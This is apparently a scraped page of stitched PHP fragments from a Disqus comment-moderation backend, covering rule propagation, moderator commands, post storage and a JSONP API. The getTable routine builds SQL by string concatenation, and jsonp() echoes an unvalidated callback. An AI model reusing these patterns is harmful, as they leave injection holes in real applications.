                               $s2->bindParam(2,$r['id'],PDO::PARAM_INT);
                               $s2->bindParam(3,$forumid,PDO::PARAM_INT);
                               $s2->bindParam(4,$wt,PDO::PARAM_INT); //type= suspicions
                               $s2->execute();
                               */
                             $watch = array();
                             $watch['ruleid'] = $r['xid'];
                             $watch['type'] = 3;
                             $watch['identity'] = $r['identity'];
                             $dirtyWatch = true;
                             break;
                         case 3:
                             if ($status != 3) {
                                 $act = 3;
                                 $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                                 $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                                 $sth1->bindParam(3, $act, PDO::PARAM_INT);
                                 $s = 'auto-delete';
                                 $sth1->bindParam(4, $s, PDO::PARAM_STR);
                                 $sth1->bindParam(5, $post_ticketid, PDO::PARAM_STR);
                                 $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                                 $sth1->execute();
                                 $dirtyDeleted = true;
                                 $dirtyHistory = true;
                                 tx(0, ' AutoDelete' . 'ticketid=' . $post_ticketid . ';postid=' . $post->id);
                             }
                     }
                 } else {
                     //7
                     if ($ip && $ip != '0.0.0.0') {
                         $logService->log('TRACE', 'inside rule7 $ip=' . $ip, 'forum_status=' . $forum_status, $forumid);
                         $ip = $post->ipAddress;
                         $s77 = $this->prepare("SELECT distinct r.*,i.role,i.author_name from  qwp_forum_identity_ips ips\n                            INNER JOIN qwp_forum_identities i on ips.identity=i.identity \n                            LEFT OUTER JOIN qwp_rules r on ips.identity=r.identity and (r.thread is NULL or r.thread=?)\n                            where ips.ip=? ");
                         $s77->bindParam(1, $thread, PDO::PARAM_STR);
                         $s77->bindParam(2, $ip, PDO::PARAM_STR);
                         $s77->execute();
                         $rs = $s77->fetchAll(PDO::FETCH_ASSOC);
                         $del = null;
                         $exl = false;
                         $nowatch = false;
                         if ($rs) {
                             foreach ($rs as $rule) {
                                 if ($rule['action'] == 3 && $r['status'] == 1) {
                                     $del = $rule;
                                 } else {
                                     if ($rule['action'] == 1 && $r['status'] == 1 || $rule['role'] >= 0) {
                                         $exl = true;
                                     } else {
                                         if ($rule['action'] == 2) {
                                             $nowatch = true;
                                         }
                                     }
                                 }
                                 // added to prevent creating another watch, when one was already created before
                                 $expiration_field = $rule['expiration'];
                                 if (!empty($expiration_field)) {
                                     $expiration = new DateTime($expiration_field);
                                     $now = new DateTime(null);
                                     $now = $now->getTimestamp();
                                     if ($expiration->getTimestamp() < $now) {
                                         //expiring;
                                         $s12->bindParam(1, $rule['xid'], PDO::PARAM_INT);
                                         $s12->execute();
                                         $durtyRules = true;
                                         $dirtyHistory = true;
                                     }
                                 }
                             }
                         }
                     }
                     if (!empty($del)) {
                         // if there is a delete rule
                         $logService->log('TRACE', 'inside ruleDel', 'forum_status=' . $forum_status, $forumid);
                         if (!$exl) {
                             // if no exception rules
                             $logService->log('TRACE', 'inside ruleDel 2', 'forum_status=' . $forum_status, $forumid);
                             //create delete rule
                             //$s3=$this->prepare("INSERT into qwp_rules (`status`,username,identity,action,date_created,duration,apply_back,description,expiration) values(1,?,?,?,now(),?,?,?,?")
                             $action = 3;
                             $sname = 'auto';
                             $sdescription = '[propagated from ' . $del['author_name'] . ']' . $del['description'];
                             //$s3->bindParam(1,$s,PDO::PARAM_STR);
                             $s3->bindParam(1, $emailHash, PDO::PARAM_STR);
                             $s3->bindParam(2, $action, PDO::PARAM_INT);
                             $s3->bindParam(3, $del['duration'], PDO::PARAM_STR);
                             $s3->bindParam(4, $del['apply_back'], PDO::PARAM_STR);
                             $s3->bindParam(5, $sdescription, PDO::PARAM_STR);
                             $s3->bindParam(6, $del['expiration'], PDO::PARAM_INT);
                             $s3->bindParam(7, $forumid, PDO::PARAM_INT);
                             $s3->execute();
                             $ruleid = $this->lastInsertId();
                             $scontext = 'propagate delete from ' . $del['author_name'];
                             $s5 = $this->prepare("INSERT INTO qwp_rule_actions (ruleid,identity,actionid,date,context,username,forumid) values (?,?,9,now(),?,'auto',?)");
                             $s5->bindParam(1, $ruleid, PDO::PARAM_INT);
                             $s5->bindParam(2, $emailHash, PDO::PARAM_STR);
                             $s5->bindParam(3, $scontext, PDO::PARAM_STR);
                             $s5->bindParam(4, $forumid, PDO::PARAM_INT);
                             $s5->execute();
                             if ($status != 3) {
                                 $logService->log('TRACE', 'inside ruleDel 3', 'forum_status=' . $forum_status, $forumid);
                                 $a = 3;
                                 $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                                 $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                                 $sth1->bindParam(3, $a, PDO::PARAM_INT);
                                 $s = 'auto-delete';
                                 $sth1->bindParam(4, $s, PDO::PARAM_STR);
                                 $sth1->bindParam(5, $ruleid, PDO::PARAM_STR);
                                 $allow_test = 0;
                                 $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                                 $sth1->execute();
                                 tx(0, 'AutoDelete ' . 'rule=' . $ruleid . ';postid=' . $post->id);
                             }
                             $wt = 1;
                             //new identity
                             $s2->bindParam(1, $post->id, PDO::PARAM_INT);
                             $s2->bindParam(2, $del['xid'], PDO::PARAM_INT);
                             $s2->bindParam(3, $forumid, PDO::PARAM_INT);
                             $s2->bindParam(4, $wt, PDO::PARAM_INT);
                             //type= new identity
                             $s2->execute();
                             /*$s21->bindParam(1,$del['id'],PDO::PARAM_INT);
                               $s21->bindParam(2,$wt,PDO::PARAM_INT);
                               $s21->bindParam(3,$del['identity'],PDO::PARAM_INT);
                               $s21->bindParam(4,$post->id,PDO::PARAM_INT);
                               $s21->execute();*/
                             $watch = array();
                             $watch['ruleid'] = $del['xid'];
                             $watch['type'] = $wt;
                             $watch['identity'] = $del['identity'];
                             $dirtyRules = true;
                             $dirtyWatch = true;
                             $dirtyHistory = true;
                         } else {
                             if (!$nowatch) {
                                 //create exclusion rule
                                 $action = 2;
                                 //watch
                                 // $s3->bindParam(1,$del['username'],PDO::PARAM_STR);
                                 $s3->bindParam(1, $emailHash, PDO::PARAM_STR);
                                 $s3->bindParam(2, $action, PDO::PARAM_INT);
                                 $s3->bindParam(3, $del['duration'], PDO::PARAM_STR);
                                 $s3->bindParam(4, $del['apply_back'], PDO::PARAM_STR);
                                 $s3->bindParam(5, $del['description'], PDO::PARAM_STR);
                                 $s3->bindParam(6, $del['expiration'], PDO::PARAM_INT);
                                 $s3->bindParam(7, $forumid, PDO::PARAM_INT);
                                 $s3->execute();
                                 $ruleid = $this->lastInsertId();
                                 $scontext = 'propagate watch';
                                 $s5->bindParam(1, $ruleid, PDO::PARAM_INT);
                                 $s5->bindParam(2, $emailHash, PDO::PARAM_STR);
                                 $s5->bindParam(3, $scontext, PDO::PARAM_STR);
                                 $s5->bindParam(4, $forumid, PDO::PARAM_INT);
                                 $s5->execute();
                                 $wt = 1;
                                 $s2->bindParam(1, $post->id, PDO::PARAM_INT);
                                 $s2->bindParam(2, $del['xid'], PDO::PARAM_INT);
                                 $s2->bindParam(3, $forumid, PDO::PARAM_INT);
                                 $s2->bindParam(4, $wt, PDO::PARAM_INT);
                                 //type= watch
                                 $s2->execute();
                                 //$s21=$this->prepare("UPDATE qwp_posts set watch_ticketid=?, watch_type=?,watch_identity=? where id=?");
                                 /*$s21->bindParam(1,$del['id'],PDO::PARAM_INT);
                                   $s21->bindParam(2,$wt,PDO::PARAM_INT);
                                   $s21->bindParam(3,$del['identity'],PDO::PARAM_INT);
                                   $s21->bindParam(4,$post->id,PDO::PARAM_INT);
                                   $s21->execute();*/
                                 $watch = array();
                                 $watch['ruleid'] = $del['xid'];
                                 $watch['type'] = $wt;
                                 $watch['identity'] = $del['identity'];
                                 $dirtyRules = true;
                                 $dirtyWatch = true;
                                 $dirtyHistory = true;
                             }
                         }
                     }
                 }
                 /* Process commands
                        @troll,@spam,@hold,@del,@undo,@info,@comment
                    */
                 $logService->log('TRACE', 'inside ruleCommands', 'forum_status=' . $forum_status, $forumid);
                 if ($status != 3) {
                     $body = $post->raw_message;
                     if (stristr($body, '@del') || !stristr($body, '@comment')) {
                         $logService->log('TRACE', 'inside ruleDel--', 'forum_status=' . $forum_status, $forumid);
                         $command = 0;
                         /*if(stristr($body,'#troll'))
                               $command=1;
                           if(stristr($body,'#spam'))
                               $command=2;
                           if(stristr($body,'#hold'))
                               $command=3;
                           if(stristr($body,'#del'))
                               $command=4;
                           if(stristr($body,'#undo'))
                               $command=5;
                           if(stristr($body,'#info'))
                               $command=6;
                           if(stristr($body,'#unhold'))
                               $command=7;
                           */
                         //$test=preg_match('/#troll\w*\b/i',$body,$matches);
                         //@- production commands, # test commands. Will be saved in description and used to differentiate
                         if (preg_match('/[#@][Tt][Rr][Oo][Ll][Ll]\\w*\\b/i', $body, $matches1)) {
                             $command = 1;
                         }
                         if (preg_match('/[#@][Ss][Pp][Aa][Mm]\\w*\\b/i', $body, $matches2)) {
                             $command = 2;
                         }
                         if (preg_match('/[#@][Hh][Oo][Ll][Dd]\\w*\\b/i', $body, $matches3)) {
                             $command = 3;
                         }
                         if (preg_match('/[#@][Uu][Nn][Hh][Oo][Ll][Dd]\\w*\\b/i', $body, $matches4)) {
                             $command = 4;
                         }
                         if (preg_match('/[#@][Ii][Nn][Ff][Oo]\\w*\\b(.*)/i', $body, $matches5)) {
                             $command = 5;
                         }
                         if (preg_match('/[#@][Hh][Ee][Ll][Pp]\\w*\\b/i', $body, $matches7)) {
                             $command = 7;
                         }
                         if (preg_match('/[#@][Mm][Oo][Dd]\\w*\\b/i', $body, $matches8)) {
                             $command = 8;
                         }
                         if (preg_match('/[#@][Dd][Ee][Ll]\\w*\\b/i', $body, $matches6)) {
                             $command = 6;
                         }
                         $allow_test = !strstr($body, '@');
                         $matches = null;
                         switch ($command) {
                             case 1:
                                 $matches = $matches1;
                                 break;
                             case 2:
                                 $matches = $matches2;
                                 break;
                             case 3:
                                 $matches = $matches3;
                                 break;
                             case 4:
                                 $matches = $matches4;
                                 break;
                             case 5:
                                 $matches = $matches5;
                                 break;
                             case 6:
                                 $matches = $matches6;
                                 break;
                             case 7:
                                 $matches = $matches7;
                                 break;
                             case 8:
                                 $matches = $matches8;
                                 break;
                         }
                         switch ($command) {
                             case 1:
                             case 2:
                                 $watch = $this->processCreateDeleteTicket($post, $emailHash, $forumid, $command, $matches, $allow_test);
                                 $dirtyRules = true;
                                 $dirtyWatch = true;
                                 $dirtyHistory = true;
                                 tx(0, 'CreateDelete ' . 'identity=' . $emailHash . ';body=' . $body);
                                 break;
                             case 3:
                             case 4:
                                 $watch = $this->handleHold($post, $emailHash, $forumid, $command, $matches, $allow_test);
                                 $dirtyRules = true;
                                 $dirtyWatch = true;
                                 $dirtyHistory = true;
                                 tx(0, 'HandleHold ' . 'identity=' . $emailHash . ';body=' . $body);
                                 break;
                             case 5:
                                 $this->handleInfo($post, $forumid, $matches);
                                 tx(0, 'HandleInfo ' . 'identity=' . $emailHash . ';body=' . $body);
                                 //continue;  to be enabled in the future, for now keep them to see the activity
                                 break;
                             case 6:
                                 $this->handleDel($post, $forumid, $matches);
                                 tx(0, 'HandleDel ' . 'identity=' . $emailHash . ';body=' . $body);
                                 //continue;
                                 break;
                             case 7:
                                 $this->handleHelp($post, $forumid, $matches);
                                 tx(0, 'HandleHelp ' . 'identity=' . $emailHash . ';body=' . $body);
                                 //continue;
                                 break;
                             case 8:
                                 $watch = $this->handleMod($post, $forumid, $matches);
                                 tx(0, 'HandleMod ' . 'identity=' . $emailHash . ';body=' . $body);
                                 $dirtyWatch = true;
                                 break;
                         }
                     }
                 }
             }
             // process rules
             /***
                                 Try to set thread title and url if thread is already in the system
                                 $sth13=$this->prepare("SELECT title,url from qwp_threads where thread=? and forumid=?");
             
                             **/
             $logService->log('DBUG', 'PROCESS THREAD postid=' . $post->id, '', '');
             $thread = $post->thread;
             $thread_url = null;
             $thread_title = null;
             if (isset($cached_threads[$thread]['title'])) {
                 $thread_title = $cached_threads[$thread]['title'];
                 $thread_url = $cached_threads[$thread]['url'];
             } else {
                 //  $sth13=$this->prepare("SELECT title,url from qwp_threads where thread=? and forumid=?");
                 $sth13->bindParam(1, $thread, PDO::PARAM_INT);
                 $sth13->bindParam(2, $forumid, PDO::PARAM_INT);
                 $sth13->execute();
                 $rs = $sth13->fetch(PDO::FETCH_ASSOC);
                 if ($rs) {
                     $thread_title = $rs['title'];
                     $thread_url = $rs['url'];
                     $cached_threads[$thread]['title'] = $thread_title;
                     $cached_threads[$thread]['url'] = $thread_url;
                 }
                 /**
                                         Adding keeping track of active threads
                                         1. If thread is present but not active - move it into active
                                         2. Update lastpost timestamp for thread
                                         Note: if new thread - don't worry, the lastpost will be set when thread is created
                                     **/
                 $sta1 = $this->prepare("SELECT status from qwp_threads where thread=? and forumid=?");
                 $sta1->bindParam(1, $thread, PDO::PARAM_INT);
                 $sta1->bindParam(2, $forumid, PDO::PARAM_INT);
                 $sta1->execute();
                 $thread_status = $sta1->fetch(PDO::FETCH_ASSOC)['status'];
                 if ($thread_status == 2) {
                     $this->restoreThread($thread, $forumid);
                     //now could be a situation that the current post about to be inserted actually is just an update to a restored post
                     $postid = $post->id;
                     $sta3 = $this->prepare("select id from qwp_posts where id=? and qforumid=?");
                     $sta3->bindParam(1, $postid, PDO::PARAM_INT);
                     $sta3->bindParam(2, $forumid, PDO::PARAM_INT);
                     $sta3->execute();
                     $present = $sta3->fetch(PDO::FETCH_ASSOC)['id'];
                     if ($present) {
                         $sth3->bindParam(1, $post->message, PDO::PARAM_STR);
                         $sth3->bindParam(2, $postid, PDO::PARAM_INT);
                         $sth3->bindParam(3, $forumid, PDO::PARAM_INT);
                         $sth3->execute();
                         continue;
                     }
                 } else {
                     if ($thread_status == 1) {
                         $this->beginTransaction();
                         $sth61 = $this->prepare("select xid from qwp_threads where thread=? and forumid=?");
                         $sth61->bindParam(1, $thread, PDO::PARAM_INT);
                         $sth61->bindParam(2, $forumid, PDO::PARAM_INT);
                         $sth61->execute();
                         $xid = $sth61->fetch(PDO::FETCH_ASSOC)['xid'];
                         $sta2 = $this->prepare("update qwp_threads set lastpost=now() where thread=? and forumid=?");
                         $sta2->bindParam(1, $thread, PDO::PARAM_INT);
                         $sta2->bindParam(2, $forumid, PDO::PARAM_INT);
                         $sta2->execute();
                         $sta2->execute();
                         $table = 'qwp_threads';
                         $action = 2;
                         $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                         $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                         $sth61->bindParam(2, $table, PDO::PARAM_STR);
                         $sth61->bindParam(3, $action, PDO::PARAM_INT);
                         $sth61->execute();
                         $this->commit();
                     }
                 }
             }
             $logService->log('TRACE', 'inside processPosts3 forumid=' . $forumid . ';c=' . $c . 'state=' . $state . ';status=' . $status . 'post_ticketid=' . $post_ticketid . ';thread_title' . $thread_title . ';thread_url=' . $thread_url . ';role' . $role, var_log($post), '');
             $parent = $post->parent;
             if (empty($parent)) {
                 $parent = -1;
             }
             $sth = $this->prepare("INSERT INTO `qwp_posts`(`qforumid`,`forum`,`id`,\n                `parent`,`message`,`isflagged`,`thread`,`raw_message`,`createdat`,`isedited`,`ishighlighted`,`ipaddress`,\n                `isspam`,`isdeleted`,`likes`,`isapproved`,`dislikes`,`author_username`,`author_name`,`author_url`,\n                `author_profileurl`,`author_emailHash`,`author_avatar_permalink`,`author_avatar_cache`,`author_id`,\n                `author_isanonymous`,`author_email`,`status`,`state`,post_ticketid,watch_ticketid,watch_type,watch_identity,\n                thread_title,thread_url,role,updatedat) \n                    VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,UNIX_TIMESTAMP(now()))");
             $sth->bindParam(1, $forumid, PDO::PARAM_INT);
             $sth->bindParam(2, $post->forum, PDO::PARAM_STR);
             $sth->bindParam(3, $post->id, PDO::PARAM_STR);
             $sth->bindParam(4, $parent, PDO::PARAM_INT);
             $sth->bindParam(5, $post->message, PDO::PARAM_STR);
             $sth->bindParam(6, $post->isFlagged, PDO::PARAM_BOOL);
             $sth->bindParam(7, $post->thread, PDO::PARAM_STR);
             $sth->bindParam(8, $post->raw_message, PDO::PARAM_STR);
             $sth->bindParam(9, $c, PDO::PARAM_INT);
             $sth->bindParam(10, $post->isEdited, PDO::PARAM_BOOL);
             $sth->bindParam(11, $post->isHighlighted, PDO::PARAM_BOOL);
             $sth->bindParam(12, $post->ipAddress, PDO::PARAM_STR);
             $sth->bindParam(13, $post->isSpam, PDO::PARAM_BOOL);
             $sth->bindParam(14, $post->isDeleted, PDO::PARAM_BOOL);
             $sth->bindParam(15, $post->likes, PDO::PARAM_INT);
             $sth->bindParam(16, $post->isApproved, PDO::PARAM_BOOL);
             $sth->bindParam(17, $post->dislikes, PDO::PARAM_INT);
             $sth->bindParam(18, $post->author->username, PDO::PARAM_STR);
             $sth->bindParam(19, $post->author->name, PDO::PARAM_STR);
             $sth->bindParam(20, $post->author->url, PDO::PARAM_STR);
             $sth->bindParam(21, $post->author->profileUrl, PDO::PARAM_STR);
             $sth->bindParam(22, $emailHash, PDO::PARAM_STR);
             $sth->bindParam(23, $post->author->avatar->permalink, PDO::PARAM_STR);
             $sth->bindParam(24, $post->author->avatar->cache, PDO::PARAM_STR);
             $sth->bindParam(25, $post->author->id, PDO::PARAM_INT);
             $sth->bindParam(26, $post->author->isAnonymous, PDO::PARAM_BOOL);
             $sth->bindParam(27, $post->author->email, PDO::PARAM_STR);
             $sth->bindParam(28, $status, PDO::PARAM_INT);
             $sth->bindParam(29, $state, PDO::PARAM_STR);
             $sth->bindParam(30, $post_ticketid, PDO::PARAM_INT);
             $watch_ticketid = 0;
             $watch_type = 0;
             $watch_identity = null;
             if ($watch) {
                 $watch_ticketid = $watch['ruleid'];
                 $watch_type = $watch['type'];
                 $watch_identity = $watch['identity'];
                 $dirtyWatch = true;
             }
             $sth->bindParam(31, $watch_ticketid, PDO::PARAM_INT);
             $sth->bindParam(32, $watch_type, PDO::PARAM_INT);
             $sth->bindParam(33, $watch_identity, PDO::PARAM_INT);
             $sth->bindParam(34, $thread_title, PDO::PARAM_STR);
             $sth->bindParam(35, $thread_url, PDO::PARAM_STR);
             $sth->bindParam(36, $role, PDO::PARAM_INT);
             //  $logService->log('DBUG','BEGIN SAVE postid='.$post->id,'','');
             $go = true;
             while ($go) {
                 $go = false;
                 try {
                     $this->beginTransaction();
                     $r = $sth->execute();
                     $xid = $this->lastInsertId();
                     $table = 'qwp_posts';
                     $action = 1;
                     $sth = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth->bindParam(2, $table, PDO::PARAM_STR);
                     $sth->bindParam(3, $action, PDO::PARAM_INT);
                     $sth->execute();
                     $this->commit();
                 } catch (Exception $x) {
                     $logService->log('ERROR HANDLED', 'saving new post ' . $post->id, 'V3 body=' . $post->message . ';exception=' . fe($x), $forumid);
                     try {
                         $this->rollBack();
                     } catch (Exception $ignore) {
                     }
                     continue;
                 }
                 // $logService->log('DBUG','DONE SAVE postid='.$post->id,'','');
                 /* if(!$r){ // retry after removing the previous version of the post
                        $d=$this->prepare("DELETE from qwp_posts where id=?");
                        $d->bindParam(1,$post->id);
                        $d->execute();
                        $go=true;
                        continue;
                    }*/
             }
             $postid = $post->id;
             $thread = $post->thread;
             /*$hi=0;
                             if($has_context)
                                 $hi=1;
             
                             $s6->bindParam(1,$post->id,PDO::PARAM_INT);
                             $s6->bindParam(2,$parent,PDO::PARAM_INT);
                             $s6->bindParam(3,$hi,PDO::PARAM_INT);
                             $s6->bindParam(4,$forumid,PDO::PARAM_INT);
                             $s6->bindParam(5,$post->thread,PDO::PARAM_INT);
                             $s6->execute();
                             */
             $s8->bindParam(1, $postid, PDO::PARAM_INT);
             $s8->bindParam(2, $forumid, PDO::PARAM_INT);
             $s8->execute();
             $rs = $s8->fetch(PDO::FETCH_ASSOC);
             if ($rs) {
                 if ($has_context) {
                     $this->beginTransaction();
                     $s91 = $this->prepare("SELECT xid from qwp_post_index where postid=? and forumid=?");
                     $s91->bindParam(1, $postid, PDO::PARAM_INT);
                     $s91->bindParam(2, $forumid, PDO::PARAM_INT);
                     $s91->execute();
                     $xid = $s91->fetch(PDO::FETCH_ASSOC)['xid'];
                     $s7->bindParam(1, $has_context, PDO::PARAM_INT);
                     $s7->bindParam(2, $postid, PDO::PARAM_INT);
                     $s7->bindParam(3, $forumid, PDO::PARAM_INT);
                     $s7->execute();
                     $table = 'qwp_post_index';
                     $action = 2;
                     $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth61->bindParam(2, $table, PDO::PARAM_STR);
                     $sth61->bindParam(3, $action, PDO::PARAM_INT);
                     $sth61->execute();
                     $this->commit();
                 }
             } else {
                 $parent = $post->parent;
                 if (empty($parent)) {
                     $parent = -1;
                 }
                 $thread = $post->thread;
                 $s6->bindParam(1, $postid, PDO::PARAM_INT);
                 $s6->bindParam(2, $parent, PDO::PARAM_INT);
                 $s6->bindParam(3, $has_context, PDO::PARAM_INT);
                 $s6->bindParam(4, $forumid, PDO::PARAM_INT);
                 $s6->bindParam(5, $thread, PDO::PARAM_INT);
                 try {
                     $this->beginTransaction();
                     $s6->execute();
                     $xid = $this->lastInsertId();
                     $table = 'qwp_post_index';
                     $action = 1;
                     $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth61->bindParam(2, $table, PDO::PARAM_STR);
                     $sth61->bindParam(3, $action, PDO::PARAM_INT);
                     $sth61->execute();
                     $this->commit();
                 } catch (Exception $x) {
                     $logService->log('ERROR HANDLED ', 'post index already present ', 'V3 body=' . $post->message . ';exception=' . fe($x), $forumid);
                 }
             }
             $children = 1;
             // includes myself as in ancestors of my parent that I bring, including myself.
             $parent = $post->parent;
             $id = $post->id;
             if ($parent > 0) {
                 //updating parents with new children count (need to study the cost of this in performance terms)
                 if (!$has_context) {
                     // for old, out of context posts only. Current posts are coming before the children.
                     // $logService->log('DBUG+++','START CHILDREN postid='.$post->id,'','');
                     $children += $this->processChildren($post->id, $forumid);
                     //  $logService->log('DBUG+++','END CHILDREN postid='.$post->id,'','');
                 }
                 // $logService->log('DEBUGC','insert into qwp_newposts'.$post->id,$post->message,'');
                 $s22 = $this->prepare("insert into qwp_newposts (postid,parent,children,forumid) values (?,?,?,?)");
                 $s22->bindParam(1, $id, PDO::PARAM_INT);
                 $s22->bindParam(2, $parent, PDO::PARAM_INT);
                 $s22->bindParam(3, $children, PDO::PARAM_INT);
                 $s22->bindParam(4, $forumid, PDO::PARAM_INT);
                 try {
                     $s22->execute();
                 } catch (Exception $x) {
                     $logService->log('ERROR HANDLED ', 'newpost ', 'V3 body=' . $post->message . ';exception=' . fe($x), $forumid);
                 }
             }
             //TO DO - check if the post belongs in any tabs/contexts based on sources. Dispatch NewPost tick as needed.
         }
     }
     return $ts;
     // the latest post processed
 }
示例#11
0
            if (isset($_GET['id'])) {
                $id = $_GET['id'];
            }
            $eventTime = 0;
            if (isset($_GET['time'])) {
                $eventTime = $_GET['time'];
            }
            $json = '';
            if (isset($_GET['json'])) {
                $json = $_GET['json'];
            }
            update($key, $id, $eventTime, $json);
            break;
    }
} catch (Exception $x) {
    $s = jsonp(json_encode(array("success" => false, "msg" => "Unhandled Exception while executing your command " . $func . ":" . fe($x))));
    echo $s;
    return;
}
function jsonp($str)
{
    global $callback;
    //return '<script type="text/javascript">'.$callback."(".$str.")</script>";
    return $callback . "(" . $str . ")";
}
function load($callback, $key, $start, $length)
{
    global $ds;
    if (!$key) {
        echo jsonp(json_encode(array("success" => false, "msg" => "User Key is missing")));
        return;
示例#12
0
                $oldid = $_REQUEST['oldid'];
            }
            if (isset($_REQUEST['newid'])) {
                $newid = $_REQUEST['newid'];
            }
            if (isset($_REQUEST['type'])) {
                $type = $_REQUEST['type'];
            }
            moveCategory($type, $oldid, $newid);
            break;
        default:
            echo json_encode(array("success" => false, "msg" => "ERROR1: API:" . $task . " is not present"));
    }
} catch (Exception $x) {
    //  $body= 'File: '.($x->getFile()).' Line: '.($x->getLine()).' Message:'. ($x->getMessage()).' Trace'.(var_log($x->getTrace());
    $logService->log('ERROR', 'API ' . $task . '(duration:' . number_format(microtime(TRUE) * 1000000 - $t) . ')', fe($x), $identity);
    echo json_encode(array("success" => false, "msg" => "ERROR2: Exception:" . $x->getMessage()));
}
if ($task != 'tick') {
    $logService->log('TRACE', 'EXIT API ' . $task . '(duration:' . number_format(microtime(TRUE) * 1000000 - $t) . ')', $response, $identity);
}
/**
 **/
function getD4Status($forum, $url)
{
    global $conf;
    require_once '..\\d4server\\nodemanager_data_service.php';
    $nmDataService = new NodemanagerDataService($conf['d4nmdsn'], $conf['d4nmdbname'], $conf['d4nmdbpassword'], array(PDO::ATTR_PERSISTENT => false));
    global $ds;
    $threadUrls = array();
    $threadUrls[0] = array("url" => $url);
 public function getTable($name, $id_field, $limit)
 {
     // $sth=$this->prepare('LOCK TABLES migration  WRITE');
     // $sth->execute();
     global $logService;
     $go = true;
     while ($go) {
         $go = false;
         $sth = $this->prepare("CREATE TEMPORARY TABLE tXid select xid from migration_source where state=0 and name='" . $name . "' limit " . $limit);
         $sth->execute();
         $sth = $this->prepare("SELECT *," . $id_field . " as uuid\n            FROM " . $name . "\n              where " . $id_field . " in (select xid from tXid)");
         $sth->execute();
         $rs = $sth->fetchAll(PDO::FETCH_ASSOC);
         $sth = $this->prepare("DROP TEMPORARY TABLE tXid");
         $sth->execute();
         $c = count($rs);
         if ($c) {
             $this->beginTransaction();
         }
         $ret = array();
         foreach ($rs as $rec) {
             $uuid = $rec['uuid'];
             $sth = $this->prepare("INSERT INTO migration (name,xid,time) VALUES(?,?,now())");
             $sth->bindParam(1, $name, PDO::PARAM_STR);
             $sth->bindParam(2, $uuid, PDO::PARAM_INT);
             try {
                 $sth->execute();
             } catch (Exception $x) {
                 //$logService->log('HANDLED ERROR','skip-ahead1',$name,'migrate');
                 //$go=true;
                 //$this->rollBack(); // just give up on the whole tainted set and retry to get a fresh one
                 //$c=0;
                 continue;
                 //break;
             }
             try {
                 $sth = $this->prepare("UPDATE  migration_source set state=1 where name='" . $name . "' and xid='" . $uuid . "'");
                 $sth->execute();
             } catch (Exception $x) {
                 $logService->log('ERROR', 'unable to update migration source to 1 for' . $name . ';' . $uuid, fe($x), 'migrate');
                 $ret = false;
                 $this->rollBack();
                 // just give up on the whole tainted set and retry to get a fresh one
                 $c = 0;
                 break;
             }
             $ret[] = $rec;
         }
         if ($c) {
             try {
                 $this->commit();
             } catch (Exception $x) {
                 $logService->log('HANDLED ERROR', 'skip-ahead2' . $name, fe($x), 'migrate');
                 $go = true;
                 $ret = array();
                 try {
                     //defensive, I know
                     $this->rollBack();
                     // just give up on the whole tainted set and retry to get a fresh one
                 } catch (Exception $xxx) {
                 }
             }
         }
         //$sth=$this->prepare('UNLOCK TABLES');
     }
     //$sth->execute();
     return $ret;
 }
function getContext($om, $ds, $fdata, $forumid, $access_token, $forum, $postid, $searchid)
{
    global $environment;
    global $logService;
    try {
        $secret_key = $environment['secret_key'];
        $more = true;
        while ($more) {
            $endpoint = 'https://disqus.com/api/3.0/posts/getContext.json?post=' . $postid . '&';
            //$par='post='.$id.'&';
            $par = '';
            $res = getSearchData($om, $ds, $fdata, $forumid, $endpoint, $secret_key, $access_token, $par, 0, false, $searchid);
            // $logService->log('DEBUG','getContext',var_log($res,'$res'),'');
            //kludge as it seems that disqus context returns only one parent
            /*  if(empty($res)
                    break;
                if(is_array($res)){
                    if(sizeof($res)==1)
                        $post=$res[0];
                    else 
                        break;
                }
                else
                    $post=$res;
                if($post->parent==null)
                    break;
                $postid=$post->parent;*/
            break;
        }
        return $res;
    } catch (Exception $x) {
        $logService->log('Exception', 'getContext', fe($x), $forumid);
    }
}
示例#15
0
/**
    Types of Disqus searches
    1. Context: postid
    2. Search: email,username,user,string
    3. Scope: identity, thread
    4. List of postids: commands, rule posts

    Results are processes but not acted upon (only marked and get ruleid, watch, etc set)

    Issues:
    Separate searches for children, level and parents? If not - then we must preserve ids in the table. How do we know that ids need rewriting?
    Answer: each row containst context information: one of [queue, level, child, parent], tab_id, view, identity. Each search deletes all the previous
    rows first.

    A: Create a table of postid/parentid to fetch old contexts from disqus  qwp_post_index. Also should have a field to indicate if came alone or with the full thread.
    If the postid is not present in qwp_post_index (with the context) then get parents but put a pseudo post as a sibling into level grid explaining the issue and offering to fetch the entire
    old thread. This will also put the context into a tear-away tab if not already there. When the thread is loaded the context is rebuilt and the pseudo-post gone.

    B: Need to have stale post indication. WHen the local post is present, calculate first if is stale or not before going to discus. Formula should be 
    age of the post devided by the interval since last update < 2. Also means adding updatedAt field.


    Update: add last:nnn search



    **/
function backgroundSearch($scope, $ct, $cv, $search, $tab_id)
{
    //this is slow version of loadQueueItems. First it does same as loadQueue saving postids, then goes to disqus and gets the same posts.
    //Then compares the ids, if same only updates text and generates change tick, if new = new posts tick for the specific tab
    // $posts=loadPosts($scope,$ct,$cv,$search,$tab_id);
    /**
            1. Determine the type of request
                a. search
                b. all posts for identity
                c. all posts for thread
                d. ids (commands or rule)
                e. context:level
                f: context:child
            **/
    global $control;
    global $access_token;
    global $unDataService;
    global $nmDataService;
    global $global_username;
    global $logService;
    global $view;
    global $queueType;
    global $global_emailHash;
    if ($queueType == "queue" && empty($search) && empty($ct) && empty($cv)) {
        echo json_encode(array("success" => true, "total" => 0, "posts" => 0));
